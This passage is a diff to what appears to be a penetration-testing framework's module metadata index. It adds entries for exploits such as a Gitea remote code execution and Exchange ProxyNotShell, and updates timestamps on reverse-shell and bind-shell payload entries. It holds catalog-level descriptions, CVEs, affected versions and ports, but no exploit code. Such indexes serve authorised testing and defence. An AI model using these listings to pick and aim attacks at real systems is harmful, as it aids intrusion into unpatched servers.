"URL-http://www.churchdb.org/",
|
||||
"URL-http://sourceforge.net/projects/churchinfo/",
|
||||
"CVE-2021-43258"
|
||||
],
|
||||
"platform": "PHP",
|
||||
"arch": "php",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic Targeting"
|
||||
],
|
||||
"mod_time": "2022-11-18 18:04:51 +0000",
|
||||
"path": "/modules/exploits/multi/http/churchinfo_upload_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/churchinfo_upload_exec",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"CRASH_SAFE"
|
||||
],
|
||||
"Reliability": [
|
||||
"REPEATABLE_SESSION"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ARTIFACTS_ON_DISK",
|
||||
"IOC_IN_LOGS"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/cisco_dcnm_upload": {
|
||||
"name": "Cisco Prime Data Center Network Manager Arbitrary File Upload",
|
||||
"fullname": "exploit/multi/http/cisco_dcnm_upload",
|
||||
@@ -85204,6 +85645,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/gitea_git_fetch_rce": {
|
||||
"name": "Gitea Git Fetch Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/gitea_git_fetch_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-05-16",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"wuhan005",
|
||||
"li4n0",
|
||||
"krastanoel"
|
||||
],
|
||||
"description": "This module exploits Git fetch command in Gitea repository migration\n process that leads to a remote command execution on the system.\n This vulnerability affect Gitea before 1.16.7 version.",
|
||||
"references": [
|
||||
"CVE-2022-30781",
|
||||
"URL-https://tttang.com/archive/1607/"
|
||||
],
|
||||
"platform": "Linux,Unix,Windows",
|
||||
"arch": "cmd",
|
||||
"rport": 3000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper",
|
||||
"Windows Command",
|
||||
"Windows Dropper"
|
||||
],
|
||||
"mod_time": "2022-11-17 12:25:52 +0000",
|
||||
"path": "/modules/exploits/multi/http/gitea_git_fetch_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/gitea_git_fetch_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/gitea_git_hooks_rce": {
|
||||
"name": "Gitea Git Hooks Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/gitea_git_hooks_rce",
|
||||
@@ -98221,7 +98726,7 @@
|
||||
"Apache OpenOffice on Windows (PSH)",
|
||||
"Apache OpenOffice on Linux/OSX (Python)"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-11-30 22:10:18 +0000",
|
||||
"path": "/modules/exploits/multi/misc/openoffice_document_macro.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/openoffice_document_macro",
|
||||
@@ -104229,7 +104734,7 @@
|
||||
"Unix Command",
|
||||
"BSD Dropper"
|
||||
],
|
||||
"mod_time": "2022-10-12 19:23:59 +0000",
|
||||
"mod_time": "2022-10-24 14:17:21 +0000",
|
||||
"path": "/modules/exploits/unix/http/pfsense_pfblockerng_webshell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/http/pfsense_pfblockerng_webshell",
|
||||
@@ -131843,7 +132348,7 @@
|
||||
"John Page (aka hyp3rlinx)",
|
||||
"Brenner Little"
|
||||
],
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
|
||||
"description": "This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows.\n User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of \".contact\" files <c:Url> node param which takes an expected website value, however if an attacker references an\n executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user.\n Executable files can live in a sub-directory so when the \".contact\" website link is clicked it traverses directories towards the executable and runs.\n Making matters worse is if the files are compressed then downloaded \"mark of the web\" (MOTW) may potentially not work as expected with certain archive utilitys.\n The \".\\\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory.\n This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well.",
|
||||
"references": [
|
||||
"EDB-46188",
|
||||
"URL-http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt",
|
||||
@@ -131861,7 +132366,7 @@
|
||||
"targets": [
|
||||
"Windows"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/microsoft_windows_contact.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/microsoft_windows_contact",
|
||||
@@ -140751,7 +141256,7 @@
|
||||
"v9.2.0 - v9.2.1",
|
||||
"v9.2.2 - v9.3.0-RC"
|
||||
],
|
||||
"mod_time": "2022-03-10 10:28:25 +0000",
|
||||
"mod_time": "2022-12-04 17:50:24 +0000",
|
||||
"path": "/modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/dnn_cookie_deserialization_rce",
|
||||
@@ -141746,6 +142251,79 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/http/exchange_proxynotshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyNotShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxynotshell_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-09-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Orange Tsai",
|
||||
"Spencer McIntyre",
|
||||
"DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q",
|
||||
"Piotr Bazydło",
|
||||
"Rich Warren",
|
||||
"Soroush Dalili"
|
||||
],
|
||||
"description": "This module chains two vulnerabilities on Microsoft Exchange Server\n that, when combined, allow an authenticated attacker to interact with\n the Exchange Powershell backend (CVE-2022-41040), where a\n deserialization flaw can be leveraged to obtain code execution\n (CVE-2022-41082). This exploit only support Exchange Server 2019.\n\n These vulnerabilities were patched in November 2022.",
|
||||
"references": [
|
||||
"CVE-2022-41040",
|
||||
"CVE-2022-41082",
|
||||
"URL-https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend",
|
||||
"URL-https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/",
|
||||
"URL-https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9",
|
||||
"URL-https://rw.md/2022/11/09/ProxyNotRelay.html"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd, x64, x86",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2022-11-28 10:06:14 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxynotshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxynotshell_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"ProxyNotShell"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_proxyshell_rce": {
|
||||
"name": "Microsoft Exchange ProxyShell RCE",
|
||||
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
|
||||
@@ -141799,7 +142377,7 @@
|
||||
"Windows Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2021-11-10 11:12:38 +0000",
|
||||
"mod_time": "2022-12-02 15:55:10 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_proxyshell_rce",
|
||||
@@ -151382,7 +151960,7 @@
|
||||
"targets": [
|
||||
"Adobe Reader X 10.1.4 / Windows 7 SP1"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/adobe_sandbox_adobecollabsync",
|
||||
@@ -152104,7 +152682,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-12-04 17:41:24 +0000",
|
||||
"path": "/modules/exploits/windows/local/bypassuac_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/bypassuac_injection",
|
||||
@@ -152764,7 +153342,7 @@
|
||||
"unamer",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
|
||||
"description": "This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability\n within win32k which occurs due to an uninitalized variable, which allows user mode attackers\n to write a limited amount of controlled data to an attacker controlled address\n in kernel memory. By utilizing this vulnerability to execute controlled writes\n to kernel memory, an attacker can gain arbitrary code execution\n as the SYSTEM user.\n\n This module has been tested against Windows 7 x64 SP1. Offsets within the\n exploit code may need to be adjusted to work with other versions of Windows.\n The exploit can only be triggered once against the target and can cause the\n target machine to reboot when the session is terminated.",
|
||||
"references": [
|
||||
"CVE-2019-1458",
|
||||
"URL-https://github.com/unamer/CVE-2019-1458",
|
||||
@@ -152784,7 +153362,7 @@
|
||||
"targets": [
|
||||
"Windows 7 x64"
|
||||
],
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2019_1458_wizardopium",
|
||||
@@ -153120,7 +153698,7 @@
|
||||
"targets": [
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2020_1313_system_orchestrator",
|
||||
@@ -153128,6 +153706,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -153169,7 +153757,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/cve_2020_1337_printerdemon",
|
||||
@@ -153177,6 +153765,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"meterpreter"
|
||||
@@ -154229,7 +154827,7 @@
|
||||
"Windows XP SP2 / SP3",
|
||||
"Windows Server 2003 SP2"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-12-05 10:30:53 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms11_080_afdjoinleaf.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms11_080_afdjoinleaf",
|
||||
@@ -154239,6 +154837,13 @@
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-os-restarts"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
@@ -161245,6 +161850,58 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/misc/remote_control_collection_rce": {
|
||||
"name": "Remote Control Collection RCE",
|
||||
"fullname": "exploit/windows/misc/remote_control_collection_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-09-20",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"h00die",
|
||||
"H4rk3nz0"
|
||||
],
|
||||
"description": "This module utilizes the Remote Control Server's, part\n of the Remote Control Collection by Steppschuh, protocol\n to deploy a payload and run it from the server. This module will only deploy\n a payload if the server is set without a password (default).\n Tested against 3.1.1.12, current at the time of module writing",
|
||||
"references": [
|
||||
"URL-http://remote-control-collection.com",
|
||||
"URL-https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/remote%20control%20collection/remote-control-collection-rce.py"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x64, x86",
|
||||
"rport": 1926,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"default"
|
||||
],
|
||||
"mod_time": "2022-10-28 15:03:39 +0000",
|
||||
"path": "/modules/exploits/windows/misc/remote_control_collection_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/remote_control_collection_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_windows/misc/remote_mouse_rce": {
|
||||
"name": "Remote Mouse RCE",
|
||||
"fullname": "exploit/windows/misc/remote_mouse_rce",
|
||||
@@ -170154,7 +170811,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
|
||||
@@ -170190,7 +170847,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
|
||||
@@ -170226,7 +170883,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -170260,7 +170917,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/shell_reverse_tcp",
|
||||
@@ -170296,7 +170953,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
|
||||
@@ -170332,7 +170989,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
|
||||
@@ -170368,7 +171025,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-30 10:15:36 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
|
||||
@@ -170402,7 +171059,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/sparc/shell_bind_tcp",
|
||||
@@ -170436,7 +171093,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/sparc/shell_reverse_tcp",
|
||||
@@ -170573,7 +171230,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/x64/shell_bind_tcp",
|
||||
@@ -170676,7 +171333,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/x64/shell_reverse_tcp",
|
||||
@@ -171126,7 +171783,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/bsd/x86/shell_find_tag.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "bsd/x86/shell_find_tag",
|
||||
@@ -171404,7 +172061,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/mainframe/apf_privesc_jcl",
|
||||
@@ -171438,7 +172095,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/mainframe/bind_shell_jcl",
|
||||
@@ -171472,7 +172129,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/mainframe/generic_jcl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/mainframe/generic_jcl",
|
||||
@@ -171506,7 +172163,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/mainframe/reverse_shell_jcl",
|
||||
@@ -171541,7 +172198,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-18 13:11:08 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_awk.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_awk",
|
||||
@@ -171575,7 +172232,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_busybox_telnetd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_busybox_telnetd",
|
||||
@@ -171609,7 +172266,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_inetd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_inetd",
|
||||
@@ -171646,7 +172303,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_jjs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_jjs",
|
||||
@@ -171680,7 +172337,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_lua.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_lua",
|
||||
@@ -171716,7 +172373,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_netcat",
|
||||
@@ -171750,7 +172407,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_netcat_gaping",
|
||||
@@ -171784,7 +172441,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_netcat_gaping_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_netcat_gaping_ipv6",
|
||||
@@ -171818,7 +172475,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_nodejs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_nodejs",
|
||||
@@ -171853,7 +172510,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_perl",
|
||||
@@ -171888,7 +172545,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_perl_ipv6",
|
||||
@@ -171922,7 +172579,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_r.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_r",
|
||||
@@ -171956,7 +172613,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_ruby.rb",
|
||||
"is_install_path": true,
